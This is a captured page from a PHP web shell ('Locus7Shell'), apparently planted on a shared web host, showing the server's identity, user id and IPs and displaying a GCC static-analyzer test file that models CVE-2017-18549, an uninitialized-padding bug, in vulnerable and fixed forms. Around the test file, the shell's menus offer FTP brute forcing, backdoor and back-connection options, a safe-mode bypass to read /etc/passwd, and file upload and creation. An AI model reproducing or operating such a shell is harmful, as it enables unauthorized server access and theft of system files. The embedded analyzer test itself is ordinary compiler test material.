Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/analyzer/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     memset-CVE-2017-18549-1.c (3.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* This is a very simplified version of CVE-2017-18549,
   a use of uninitialized padding values affecting the Linux kernel
   (and thus GPLv2).

   It was fixed by e.g. 342ffc26693b528648bdc9377e51e4f2450b4860 on linux-4.13.y
   in linux-stable.  */

#include "analyzer-decls.h"
#include <string.h>

typedef unsigned int __u32;
typedef unsigned int u32;
typedef unsigned char u8;

/* Adapted from include/uapi/linux/types.h  */

#define __bitwise
typedef __u32 __bitwise __le32;

/* Adapted from drivers/scsi/aacraid/aacraid.h  */

#define        AAC_SENSE_BUFFERSIZE     30

struct aac_srb_reply
{
    __le32        status;
    __le32        srb_status;
    __le32        scsi_status;
    __le32        data_xfer_length;
    __le32        sense_data_size;
    u8        sense_data[AAC_SENSE_BUFFERSIZE];

    /* Manually added to help verify the fix.  */
    u8 padding[2];
};

#define        ST_OK        0
#define SRB_STATUS_SUCCESS                  0x01

extern void check_uninit (u8 v);

/* Adapted from drivers/scsi/aacraid/commctrl.c  */

static int aac_send_raw_srb(/* [...snip...] */)
{
    u32 byte_count = 0;

    /* [...snip...] */

    struct aac_srb_reply reply; /* { dg-message "region created on stack here" } */

    reply.status = ST_OK;

    /* [...snip...] */

    reply.srb_status = SRB_STATUS_SUCCESS;
    reply.scsi_status = 0;
    reply.data_xfer_length = byte_count;
    reply.sense_data_size = 0;
    memset(reply.sense_data, 0, AAC_SENSE_BUFFERSIZE);

    /* [...snip...] */

    __analyzer_eval (reply.status == ST_OK); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.srb_status == SRB_STATUS_SUCCESS); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.scsi_status == 0); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.data_xfer_length == byte_count); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.sense_data_size == 0); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.sense_data[0] == 0); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.sense_data[AAC_SENSE_BUFFERSIZE - 1] == 0); /* { dg-warning "TRUE" } */
    check_uninit (reply.padding[0]); /* { dg-warning "uninitialized value" } */
    check_uninit (reply.padding[1]); /* { dg-warning "uninitialized value" } */
}

static int aac_send_raw_srb_fixed(/* [...snip...] */)
{
    u32 byte_count = 0;

    /* [...snip...] */

    struct aac_srb_reply reply;

    /* This is the fix.  */
    memset(&reply, 0, sizeof(reply));

    reply.status = ST_OK;

    /* [...snip...] */

    reply.srb_status = SRB_STATUS_SUCCESS;
    reply.scsi_status = 0;
    reply.data_xfer_length = byte_count;
    reply.sense_data_size = 0;
    memset(reply.sense_data, 0, AAC_SENSE_BUFFERSIZE);

    /* [...snip...] */

    __analyzer_eval (reply.status == ST_OK); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.srb_status == SRB_STATUS_SUCCESS); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.scsi_status == 0); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.data_xfer_length == byte_count); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.sense_data_size == 0); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.sense_data[0] == 0); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.sense_data[AAC_SENSE_BUFFERSIZE - 1] == 0); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.padding[0] == 0); /* { dg-warning "TRUE" } */
    __analyzer_eval (reply.padding[1] == 0); /* { dg-warning "TRUE" } */
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--